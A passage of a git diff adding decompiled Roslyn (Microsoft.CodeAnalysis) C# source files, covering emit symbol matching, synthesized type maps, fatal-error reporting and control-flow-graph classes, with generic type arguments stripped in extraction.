SymbolChange.Added; + } + return SymbolChange.ContainsChanges; + } + if (!DefinitionExistsInPreviousGeneration(iSymbolInternalOrNull)) + { + return SymbolChange.Added; + } + return SymbolChange.None; + } + default: + throw ExceptionUtilities.UnexpectedValue(change); + } + } + + public SymbolChange GetChangeForPossibleReAddedMember(ITypeDefinitionMember item, Func definitionExistsInAnyPreviousGeneration) + { + SymbolChange change = GetChange(item); + return fixChangeIfMemberIsReAdded(item, change, definitionExistsInAnyPreviousGeneration); + SymbolChange fixChangeIfMemberIsReAdded(ITypeDefinitionMember typeDefinitionMember, SymbolChange symbolChange, Func func) + { + if (typeDefinitionMember is IFieldDefinition fieldDefinition && GetContainingDefinitionForBackingField(fieldDefinition) is ITypeDefinitionMember typeDefinitionMember2 && GetChange(typeDefinitionMember2) == SymbolChange.Added && func(typeDefinitionMember) && fixChangeIfMemberIsReAdded(typeDefinitionMember2, SymbolChange.Added, func) == SymbolChange.Updated) + { + return SymbolChange.None; + } + if (symbolChange == SymbolChange.Added && !IsReplaced(typeDefinitionMember.ContainingTypeDefinition, checkEnclosingTypes: true) && func(typeDefinitionMember)) + { + return SymbolChange.Updated; + } + return symbolChange; + } + } + + protected abstract ISymbolInternal? GetISymbolInternalOrNull(ISymbol symbol); + + public IEnumerable GetTopLevelSourceTypeDefinitions(EmitContext context) + { + foreach (ISymbol key in _changes.Keys) + { + INamespaceTypeDefinition namespaceTypeDefinition = (GetISymbolInternalOrNull(key)?.GetCciAdapter() as ITypeDefinition)?.AsNamespaceTypeDefinition(context); + if (namespaceTypeDefinition != null) + { + yield return namespaceTypeDefinition; + } + } + } + + private static void CalculateChanges(IEnumerable edits, out IReadOnlyDictionary changes, out ISet replaceSymbols, out ImmutableDictionary> deletedMembers) + { + Dictionary dictionary = new Dictionary(); + HashSet hashSet = null; + Dictionary> dictionary2 = null; + foreach (SemanticEdit edit in edits) + { + SymbolChange value2; + switch (edit.Kind) + { + case SemanticEditKind.Update: + value2 = SymbolChange.Updated; + break; + case SemanticEditKind.Insert: + value2 = SymbolChange.Added; + break; + case SemanticEditKind.Replace: + (hashSet ?? (hashSet = new HashSet())).Add(edit.NewSymbol); + value2 = SymbolChange.Added; + break; + case SemanticEditKind.Delete: + { + ISymbol newSymbol = edit.NewSymbol; + if (dictionary2 == null) + { + dictionary2 = new Dictionary>(); + } + if (!dictionary2.TryGetValue(newSymbol, out var value)) + { + value = ArrayBuilder.GetInstance(); + dictionary2.Add(newSymbol, value); + } + value.Add(edit.OldSymbol); + if (!dictionary.ContainsKey(newSymbol)) + { + dictionary.Add(newSymbol, SymbolChange.ContainsChanges); + AddContainingSymbolChanges(dictionary, newSymbol); + } + continue; + } + default: + throw ExceptionUtilities.UnexpectedValue(edit.Kind); + } + ISymbol symbol = edit.NewSymbol; + if (symbol.Kind == SymbolKind.Method) + { + IMethodSymbol partialDefinitionPart = ((IMethodSymbol)symbol).PartialDefinitionPart; + if (partialDefinitionPart != null) + { + symbol = partialDefinitionPart; + } + } + AddContainingSymbolChanges(dictionary, symbol); + if (dictionary.TryGetValue(symbol, out var value3) && value3 == SymbolChange.ContainsChanges) + { + dictionary[symbol] = value2; + } + else + { + dictionary.Add(symbol, value2); + } + } + changes = dictionary; + ISet set = hashSet; + replaceSymbols = set ?? SpecializedCollections.EmptySet(); + deletedMembers = dictionary2?.ToImmutableDictionary((KeyValuePair> e) => e.Key, (KeyValuePair> e) => e.Value.ToImmutableAndFree()) ?? ImmutableDictionary>.Empty; + } + + private static void AddContainingSymbolChanges(Dictionary changes, ISymbol symbol) + { + while (true) + { + ISymbol containingSymbol = GetContainingSymbol(symbol); + if (containingSymbol == null || changes.ContainsKey(containingSymbol)) + { + break; + } + changes.Add(containingSymbol, SymbolChange.ContainsChanges); + symbol = containingSymbol; + } + } + + private static ISymbol? GetContainingSymbol(ISymbol symbol) + { + ISymbol associatedSymbol = GetAssociatedSymbol(symbol); + if (associatedSymbol != null) + { + return associatedSymbol; + } + symbol = symbol.ContainingSymbol; + if (symbol != null) + { + SymbolKind kind = symbol.Kind; + if (kind == SymbolKind.Assembly || kind == SymbolKind.NetModule) + { + return null; + } + } + return symbol; + } + + private static ISymbol? GetAssociatedSymbol(ISymbol symbol) + { + switch (symbol.Kind) + { + case SymbolKind.Field: + { + ISymbol associatedSymbol2 = ((IFieldSymbol)symbol).AssociatedSymbol; + if (associatedSymbol2 != null) + { + return associatedSymbol2; + } + break; + } + case SymbolKind.Method: + { + ISymbol associatedSymbol = ((IMethodSymbol)symbol).AssociatedSymbol; + if (associatedSymbol != null) + { + return associatedSymbol; + } + break; + } + } + return null; + } + + internal IDefinition? GetContainingDefinitionForBackingField(IFieldDefinition fieldDefinition) + { + ISymbol symbol = fieldDefinition.GetInternalSymbol()?.GetISymbol(); + if (symbol == null) + { + return null; + } + ISymbol associatedSymbol = GetAssociatedSymbol(symbol); + if (associatedSymbol != null) + { + return GetISymbolInternalOrNull(associatedSymbol)?.GetCciAdapter() as IDefinition; + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SymbolMatcher.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SymbolMatcher.cs new file mode 100644 index 0000000..24df391 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SymbolMatcher.cs @@ -0,0 +1,145 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +internal abstract class SymbolMatcher +{ + public abstract ITypeReference? MapReference(ITypeReference reference); + + public abstract IDefinition? MapDefinition(IDefinition definition); + + public abstract INamespace? MapNamespace(INamespace @namespace); + + public ISymbolInternal? MapDefinitionOrNamespace(ISymbolInternal symbol) + { + IReference cciAdapter = symbol.GetCciAdapter(); + if (!(cciAdapter is IDefinition definition)) + { + return MapNamespace((INamespace)cciAdapter)?.GetInternalSymbol(); + } + return MapDefinition(definition)?.GetInternalSymbol(); + } + + public EmitBaseline MapBaselineToCompilation(EmitBaseline baseline, Compilation targetCompilation, CommonPEModuleBuilder targetModuleBuilder, ImmutableDictionary> mappedSynthesizedMembers, ImmutableDictionary> mappedDeletedMembers) + { + IReadOnlyDictionary typesAdded = MapDefinitions(baseline.TypesAdded); + IReadOnlyDictionary eventsAdded = MapDefinitions(baseline.EventsAdded); + IReadOnlyDictionary fieldsAdded = MapDefinitions(baseline.FieldsAdded); + IReadOnlyDictionary methodsAdded = MapDefinitions(baseline.MethodsAdded); + IReadOnlyDictionary propertiesAdded = MapDefinitions(baseline.PropertiesAdded); + IReadOnlyDictionary generationOrdinals = MapDefinitions(baseline.GenerationOrdinals); + return baseline.With(targetCompilation, targetModuleBuilder, baseline.Ordinal, baseline.EncId, generationOrdinals, typesAdded, eventsAdded, fieldsAdded, methodsAdded, baseline.FirstParamRowMap, propertiesAdded, baseline.EventMapAdded, baseline.PropertyMapAdded, baseline.MethodImplsAdded, baseline.CustomAttributesAdded, baseline.TableEntriesAdded, baseline.BlobStreamLengthAdded, baseline.StringStreamLengthAdded, baseline.UserStringStreamLengthAdded, baseline.GuidStreamLengthAdded, new SynthesizedTypeMaps(MapAnonymousTypes(baseline.SynthesizedTypes.AnonymousTypes), MapAnonymousDelegates(baseline.SynthesizedTypes.AnonymousDelegates), MapAnonymousDelegatesWithIndexedNames(baseline.SynthesizedTypes.AnonymousDelegatesWithIndexedNames)), mappedSynthesizedMembers, mappedDeletedMembers, MapAddedOrChangedMethods(baseline.AddedOrChangedMethods), baseline.DebugInformationProvider, baseline.LocalSignatureProvider); + } + + private IReadOnlyDictionary MapDefinitions(IReadOnlyDictionary items) where K : class, IDefinition + { + Dictionary dictionary = new Dictionary(SymbolEquivalentEqualityComparer.Instance); + foreach (KeyValuePair item in items) + { + K val = (K)MapDefinition(item.Key); + if (val != null) + { + dictionary.Add(val, item.Value); + } + } + return dictionary; + } + + private IReadOnlyDictionary MapAddedOrChangedMethods(IReadOnlyDictionary addedOrChangedMethods) + { + Dictionary dictionary = new Dictionary(); + foreach (KeyValuePair addedOrChangedMethod in addedOrChangedMethods) + { + dictionary.Add(addedOrChangedMethod.Key, addedOrChangedMethod.Value.MapTypes(this)); + } + return dictionary; + } + + private ImmutableSegmentedDictionary MapAnonymousTypes(IReadOnlyDictionary anonymousTypeMap) + { + ImmutableSegmentedDictionary.Builder builder = ImmutableSegmentedDictionary.CreateBuilder(); + foreach (KeyValuePair item in anonymousTypeMap) + { + KeyValuePairUtil.Deconstruct(item, out var key, out var value); + AnonymousTypeKey key2 = key; + AnonymousTypeValue anonymousTypeValue = value; + ITypeDefinition type = (ITypeDefinition)MapDefinition(anonymousTypeValue.Type); + builder.Add(key2, new AnonymousTypeValue(anonymousTypeValue.Name, anonymousTypeValue.UniqueIndex, type)); + } + return builder.ToImmutable(); + } + + private ImmutableSegmentedDictionary MapAnonymousDelegates(IReadOnlyDictionary anonymousDelegates) + { + ImmutableSegmentedDictionary.Builder builder = ImmutableSegmentedDictionary.CreateBuilder(); + foreach (KeyValuePair anonymousDelegate in anonymousDelegates) + { + KeyValuePairUtil.Deconstruct(anonymousDelegate, out var key, out var value); + SynthesizedDelegateKey key2 = key; + SynthesizedDelegateValue synthesizedDelegateValue = value; + ITypeDefinition typeDefinition = (ITypeDefinition)MapDefinition(synthesizedDelegateValue.Delegate); + builder.Add(key2, new SynthesizedDelegateValue(typeDefinition)); + } + return builder.ToImmutable(); + } + + private ImmutableSegmentedDictionary MapAnonymousDelegatesWithIndexedNames(IReadOnlyDictionary anonymousDelegates) + { + ImmutableSegmentedDictionary.Builder builder = ImmutableSegmentedDictionary.CreateBuilder(); + foreach (KeyValuePair anonymousDelegate in anonymousDelegates) + { + KeyValuePairUtil.Deconstruct(anonymousDelegate, out var key, out var value); + string key2 = key; + AnonymousTypeValue anonymousTypeValue = value; + ITypeDefinition type = (ITypeDefinition)MapDefinition(anonymousTypeValue.Type); + builder.Add(key2, new AnonymousTypeValue(anonymousTypeValue.Name, anonymousTypeValue.UniqueIndex, type)); + } + return builder.ToImmutable(); + } + + internal ImmutableDictionary> MapSynthesizedOrDeletedMembers(ImmutableDictionary> previousMembers, ImmutableDictionary> newMembers, bool isDeletedMemberMapping) + { + if (previousMembers.Count == 0) + { + return newMembers; + } + ImmutableDictionary>.Builder builder = ImmutableDictionary.CreateBuilder>(); + builder.AddRange(newMembers); + foreach (KeyValuePair> previousMember in previousMembers) + { + KeyValuePairUtil.Deconstruct(previousMember, out var key, out var value); + ISymbolInternal symbolInternal = key; + ImmutableArray value2 = value; + ISymbolInternal symbolInternal2 = MapDefinitionOrNamespace(symbolInternal); + if (symbolInternal2 == null) + { + builder.Add(symbolInternal, value2); + continue; + } + if (!newMembers.TryGetValue(symbolInternal2, out ImmutableArray value3)) + { + builder.Add(symbolInternal2, value2); + continue; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.AddRange(value3); + ImmutableArray.Enumerator enumerator2 = value2.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ISymbolInternal current = enumerator2.Current; + if (MapDefinitionOrNamespace(current) == null) + { + instance.Add(current); + } + } + builder[symbolInternal2] = instance.ToImmutableAndFree(); + } + return builder.ToImmutable(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SynthesizedDelegateKey.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SynthesizedDelegateKey.cs new file mode 100644 index 0000000..9264786 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SynthesizedDelegateKey.cs @@ -0,0 +1,27 @@ +using System; + +namespace Microsoft.CodeAnalysis.Emit; + +internal readonly struct SynthesizedDelegateKey(string name) : IEquatable +{ + public readonly string Name = name; + + public override bool Equals(object? obj) + { + if (obj is SynthesizedDelegateKey other) + { + return Equals(other); + } + return false; + } + + public bool Equals(SynthesizedDelegateKey other) + { + return Name.Equals(other.Name, StringComparison.Ordinal); + } + + public override int GetHashCode() + { + return Name.GetHashCode(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SynthesizedDelegateValue.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SynthesizedDelegateValue.cs new file mode 100644 index 0000000..6d37229 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SynthesizedDelegateValue.cs @@ -0,0 +1,8 @@ +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.Emit; + +internal readonly struct SynthesizedDelegateValue(ITypeDefinition @delegate) +{ + public readonly ITypeDefinition Delegate = @delegate; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SynthesizedTypeMaps.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SynthesizedTypeMaps.cs new file mode 100644 index 0000000..3690502 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SynthesizedTypeMaps.cs @@ -0,0 +1,35 @@ +using Microsoft.CodeAnalysis.Collections; + +namespace Microsoft.CodeAnalysis.Emit; + +internal readonly struct SynthesizedTypeMaps(ImmutableSegmentedDictionary? anonymousTypeMap, ImmutableSegmentedDictionary? anonymousDelegates, ImmutableSegmentedDictionary? anonymousDelegatesWithIndexedNames) +{ + public static readonly SynthesizedTypeMaps Empty = new SynthesizedTypeMaps(null, null, null); + + public bool IsEmpty + { + get + { + if (AnonymousTypes.IsEmpty && AnonymousDelegates.IsEmpty) + { + return AnonymousDelegatesWithIndexedNames.IsEmpty; + } + return false; + } + } + + public ImmutableSegmentedDictionary AnonymousTypes { get; } = anonymousTypeMap ?? ImmutableSegmentedDictionary.Empty; + + public ImmutableSegmentedDictionary AnonymousDelegates { get; } = anonymousDelegates ?? ImmutableSegmentedDictionary.Empty; + + public ImmutableSegmentedDictionary AnonymousDelegatesWithIndexedNames { get; } = anonymousDelegatesWithIndexedNames ?? ImmutableSegmentedDictionary.Empty; + + public bool IsSubsetOf(SynthesizedTypeMaps other) + { + if (AnonymousTypes.Keys.All((AnonymousTypeKey key, SynthesizedTypeMaps synthesizedTypeMaps) => synthesizedTypeMaps.AnonymousTypes.ContainsKey(key), other) && AnonymousDelegates.Keys.All((SynthesizedDelegateKey key, SynthesizedTypeMaps synthesizedTypeMaps) => synthesizedTypeMaps.AnonymousDelegates.ContainsKey(key), other)) + { + return AnonymousDelegatesWithIndexedNames.Keys.All((string key, SynthesizedTypeMaps synthesizedTypeMaps) => synthesizedTypeMaps.AnonymousDelegatesWithIndexedNames.ContainsKey(key), other); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.ErrorReporting/ErrorSeverity.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.ErrorReporting/ErrorSeverity.cs new file mode 100644 index 0000000..8a60495 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.ErrorReporting/ErrorSeverity.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.ErrorReporting; + +internal enum ErrorSeverity +{ + Uncategorized, + Diagnostic, + General, + Critical +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.ErrorReporting/FatalError.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.ErrorReporting/FatalError.cs new file mode 100644 index 0000000..2a76900 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.ErrorReporting/FatalError.cs @@ -0,0 +1,109 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.ErrorReporting; + +internal static class FatalError +{ + public delegate void ErrorReporterHandler(Exception exception, ErrorSeverity severity, bool forceDump); + + private static ErrorReporterHandler? s_handler; + + private static ErrorReporterHandler? s_nonFatalHandler; + + private static Exception? s_reportedException; + + private static string? s_reportedExceptionMessage; + + private static readonly object s_reportedMarker = new object(); + + public static void SetHandlers(ErrorReporterHandler handler, ErrorReporterHandler? nonFatalHandler) + { + if ((Delegate?)s_handler != (Delegate?)handler) + { + s_handler = handler; + s_nonFatalHandler = nonFatalHandler; + } + } + + public static void OverwriteHandler(ErrorReporterHandler? value) + { + s_handler = value; + } + + public static void CopyHandlersTo(Assembly assembly) + { + copyHandlerTo(assembly, s_handler, "s_handler"); + copyHandlerTo(assembly, s_nonFatalHandler, "s_nonFatalHandler"); + static void copyHandlerTo(Assembly assembly2, ErrorReporterHandler? handler, string handlerName) + { + FieldInfo field = assembly2.GetType(typeof(FatalError).FullName, throwOnError: true).GetField(handlerName, BindingFlags.Static | BindingFlags.NonPublic); + if (handler != null) + { + Delegate value = Delegate.CreateDelegate(field.FieldType, handler.Target, handler.Method); + field.SetValue(null, value); + } + else + { + field.SetValue(null, null); + } + } + } + + [DebuggerHidden] + public static bool ReportAndPropagate(Exception exception, ErrorSeverity severity = ErrorSeverity.Uncategorized) + { + Report(exception, severity); + return false; + } + + [DebuggerHidden] + public static bool ReportAndPropagateUnlessCanceled(Exception exception, ErrorSeverity severity = ErrorSeverity.Uncategorized) + { + if (exception is OperationCanceledException) + { + return false; + } + return ReportAndPropagate(exception, severity); + } + + [DebuggerHidden] + public static bool ReportAndPropagateUnlessCanceled(Exception exception, CancellationToken contextCancellationToken, ErrorSeverity severity = ErrorSeverity.Uncategorized) + { + if (ExceptionUtilities.IsCurrentOperationBeingCancelled(exception, contextCancellationToken) || exception is OperationCanceledIgnoringCallerTokenException) + { + return false; + } + return ReportAndPropagate(exception, severity); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static void Report(Exception exception, ErrorSeverity severity = ErrorSeverity.Uncategorized, bool forceDump = false) + { + ReportException(exception, severity, forceDump, s_handler); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + public static void ReportNonFatalError(Exception exception, ErrorSeverity severity = ErrorSeverity.Uncategorized, bool forceDump = false) + { + ReportException(exception, severity, forceDump, s_nonFatalHandler); + } + + private static void ReportException(Exception exception, ErrorSeverity severity, bool forceDump, ErrorReporterHandler? handler) + { + s_reportedException = exception; + s_reportedExceptionMessage = exception.ToString(); + if (handler != null && exception.Data[s_reportedMarker] == null && (!(exception is AggregateException ex) || ex.InnerExceptions.Count != 1 || ex.InnerExceptions[0].Data[s_reportedMarker] == null)) + { + if (!exception.Data.IsReadOnly) + { + exception.Data[s_reportedMarker] = s_reportedMarker; + } + handler(exception, severity, forceDump); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.ErrorReporting/OperationCanceledIgnoringCallerTokenException.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.ErrorReporting/OperationCanceledIgnoringCallerTokenException.cs new file mode 100644 index 0000000..7b5cdac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.ErrorReporting/OperationCanceledIgnoringCallerTokenException.cs @@ -0,0 +1,11 @@ +using System; + +namespace Microsoft.CodeAnalysis.ErrorReporting; + +internal sealed class OperationCanceledIgnoringCallerTokenException : OperationCanceledException +{ + public OperationCanceledIgnoringCallerTokenException(Exception innerException) + : base(innerException.Message, innerException) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/BasicBlock.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/BasicBlock.cs new file mode 100644 index 0000000..cd9f497 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/BasicBlock.cs @@ -0,0 +1,54 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public sealed class BasicBlock +{ + private ControlFlowBranch? _lazySuccessor; + + private ControlFlowBranch? _lazyConditionalSuccessor; + + private ImmutableArray _lazyPredecessors; + + public BasicBlockKind Kind { get; } + + public ImmutableArray Operations { get; } + + public IOperation? BranchValue { get; } + + public ControlFlowConditionKind ConditionKind { get; } + + public ControlFlowBranch? FallThroughSuccessor => _lazySuccessor; + + public ControlFlowBranch? ConditionalSuccessor => _lazyConditionalSuccessor; + + public ImmutableArray Predecessors => _lazyPredecessors; + + public int Ordinal { get; } + + public bool IsReachable { get; } + + public ControlFlowRegion EnclosingRegion { get; } + + internal BasicBlock(BasicBlockKind kind, ImmutableArray operations, IOperation? branchValue, ControlFlowConditionKind conditionKind, int ordinal, bool isReachable, ControlFlowRegion region) + { + Kind = kind; + Operations = operations; + BranchValue = branchValue; + ConditionKind = conditionKind; + Ordinal = ordinal; + IsReachable = isReachable; + EnclosingRegion = region; + } + + internal void SetSuccessors(ControlFlowBranch? successor, ControlFlowBranch? conditionalSuccessor) + { + _lazySuccessor = successor; + _lazyConditionalSuccessor = conditionalSuccessor; + } + + internal void SetPredecessors(ImmutableArray predecessors) + { + _lazyPredecessors = predecessors; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/BasicBlockKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/BasicBlockKind.cs new file mode 100644 index 0000000..9b14eee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/BasicBlockKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public enum BasicBlockKind +{ + Entry, + Exit, + Block +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/CaptureId.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/CaptureId.cs new file mode 100644 index 0000000..95c2260 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/CaptureId.cs @@ -0,0 +1,32 @@ +using System; + +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public readonly struct CaptureId : IEquatable +{ + internal int Value { get; } + + internal CaptureId(int value) + { + Value = value; + } + + public bool Equals(CaptureId other) + { + return Value == other.Value; + } + + public override bool Equals(object? obj) + { + if (obj is CaptureId) + { + return Equals((CaptureId)obj); + } + return false; + } + + public override int GetHashCode() + { + return Value.GetHashCode(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowBranch.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowBranch.cs new file mode 100644 index 0000000..85ecb00 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowBranch.cs @@ -0,0 +1,103 @@ +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public sealed class ControlFlowBranch +{ + private ImmutableArray _lazyLeavingRegions; + + private ImmutableArray _lazyFinallyRegions; + + private ImmutableArray _lazyEnteringRegions; + + public BasicBlock Source { get; } + + public BasicBlock? Destination { get; } + + public ControlFlowBranchSemantics Semantics { get; } + + public bool IsConditionalSuccessor { get; } + + public ImmutableArray LeavingRegions + { + get + { + if (_lazyLeavingRegions.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(value: (Destination != null) ? CollectRegions(Destination.Ordinal, Source.EnclosingRegion).ToImmutableAndFree() : ImmutableArray.Empty, location: ref _lazyLeavingRegions); + } + return _lazyLeavingRegions; + } + } + + public ImmutableArray EnteringRegions + { + get + { + if (_lazyEnteringRegions.IsDefault) + { + ImmutableArray value; + if (Destination == null) + { + value = ImmutableArray.Empty; + } + else + { + ArrayBuilder arrayBuilder = CollectRegions(Source.Ordinal, Destination.EnclosingRegion); + arrayBuilder.ReverseContents(); + value = arrayBuilder.ToImmutableAndFree(); + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyEnteringRegions, value); + } + return _lazyEnteringRegions; + } + } + + public ImmutableArray FinallyRegions + { + get + { + if (_lazyFinallyRegions.IsDefault) + { + ArrayBuilder arrayBuilder = null; + ImmutableArray leavingRegions = LeavingRegions; + int num = leavingRegions.Length - 1; + for (int i = 0; i < num; i++) + { + if (leavingRegions[i].Kind == ControlFlowRegionKind.Try && leavingRegions[i + 1].Kind == ControlFlowRegionKind.TryAndFinally) + { + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(); + } + arrayBuilder.Add(leavingRegions[i + 1].NestedRegions.Last()); + } + } + ImmutableArray value = arrayBuilder?.ToImmutableAndFree() ?? ImmutableArray.Empty; + ImmutableInterlocked.InterlockedInitialize(ref _lazyFinallyRegions, value); + } + return _lazyFinallyRegions; + } + } + + internal ControlFlowBranch(BasicBlock source, BasicBlock? destination, ControlFlowBranchSemantics semantics, bool isConditionalSuccessor) + { + Source = source; + Destination = destination; + Semantics = semantics; + IsConditionalSuccessor = isConditionalSuccessor; + } + + private static ArrayBuilder CollectRegions(int destinationOrdinal, ControlFlowRegion source) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + while (!source.ContainsBlock(destinationOrdinal)) + { + instance.Add(source); + source = source.EnclosingRegion; + } + return instance; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowBranchSemantics.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowBranchSemantics.cs new file mode 100644 index 0000000..91f480f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowBranchSemantics.cs @@ -0,0 +1,13 @@ +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public enum ControlFlowBranchSemantics +{ + None, + Regular, + Return, + StructuredExceptionHandling, + ProgramTermination, + Throw, + Rethrow, + Error +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowConditionKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowConditionKind.cs new file mode 100644 index 0000000..e476cb2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowConditionKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public enum ControlFlowConditionKind +{ + None, + WhenFalse, + WhenTrue +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowGraph.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowGraph.cs new file mode 100644 index 0000000..067b6a4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowGraph.cs @@ -0,0 +1,185 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Threading; +using Microsoft.CodeAnalysis.Operations; + +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public sealed class ControlFlowGraph +{ + private readonly ControlFlowGraphBuilder.CaptureIdDispenser _captureIdDispenser; + + private readonly ImmutableDictionary _localFunctionsMap; + + private ControlFlowGraph?[]? _lazyLocalFunctionsGraphs; + + private readonly ImmutableDictionary _anonymousFunctionsMap; + + private ControlFlowGraph?[]? _lazyAnonymousFunctionsGraphs; + + public IOperation OriginalOperation { get; } + + public ControlFlowGraph? Parent { get; } + + public ImmutableArray Blocks { get; } + + public ControlFlowRegion Root { get; } + + public ImmutableArray LocalFunctions { get; } + + internal ControlFlowGraph(IOperation originalOperation, ControlFlowGraph? parent, ControlFlowGraphBuilder.CaptureIdDispenser captureIdDispenser, ImmutableArray blocks, ControlFlowRegion root, ImmutableArray localFunctions, ImmutableDictionary localFunctionsMap, ImmutableDictionary anonymousFunctionsMap) + { + OriginalOperation = originalOperation; + Parent = parent; + Blocks = blocks; + Root = root; + LocalFunctions = localFunctions; + _localFunctionsMap = localFunctionsMap; + _anonymousFunctionsMap = anonymousFunctionsMap; + _captureIdDispenser = captureIdDispenser; + } + + public static ControlFlowGraph? Create(SyntaxNode node, SemanticModel semanticModel, CancellationToken cancellationToken = default(CancellationToken)) + { + if (node == null) + { + throw new ArgumentNullException("node"); + } + if (semanticModel == null) + { + throw new ArgumentNullException("semanticModel"); + } + IOperation operation = semanticModel.GetOperation(node, cancellationToken); + cancellationToken.ThrowIfCancellationRequested(); + if (operation != null) + { + return CreateCore(operation, "operation", cancellationToken); + } + return null; + } + + public static ControlFlowGraph Create(IBlockOperation body, CancellationToken cancellationToken = default(CancellationToken)) + { + return CreateCore(body, "body", cancellationToken); + } + + public static ControlFlowGraph Create(IFieldInitializerOperation initializer, CancellationToken cancellationToken = default(CancellationToken)) + { + return CreateCore(initializer, "initializer", cancellationToken); + } + + public static ControlFlowGraph Create(IPropertyInitializerOperation initializer, CancellationToken cancellationToken = default(CancellationToken)) + { + return CreateCore(initializer, "initializer", cancellationToken); + } + + public static ControlFlowGraph 